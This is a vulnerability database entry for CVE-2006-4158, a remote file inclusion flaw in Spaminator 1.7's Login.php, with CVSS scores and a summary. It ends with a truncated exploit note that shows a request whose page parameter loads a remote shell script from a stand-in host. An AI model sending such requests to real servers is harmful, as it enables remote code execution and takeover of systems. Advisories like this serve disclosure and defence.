5.1
CVSSv2

CVE-2006-4158

Published: 16/08/2006 Updated: 19/10/2017
CVSS v2 Base Score: 5.1 | Impact Score: 6.4 | Exploitability Score: 4.9
VMScore: 515
Vector: AV:N/AC:H/Au:N/C:P/I:P/A:P

Vulnerability Summary

PHP remote file inclusion vulnerability in Login.php in Spaminator 1.7 and previous versions allows remote malicious users to execute arbitrary PHP code via a URL in the page parameter.

Vulnerable Product Search on Vulmon Subscribe to Product

spaminator spaminator

Exploits

Spaminator 17 ($page) Remote File Include CreW: ToXiC BuG Found By Drago84 SourcE CodE: freshmeatnet/redir/spaminator/16281/url_tgz/spaminator-17targz Page Affect is: /src/Loginphp Problem is include "$pagephp"; Path : Declare $page ExpL: server/dir_spaminator/src/Loginphp?page=wwwevalsitecom/shellphp? Grea ...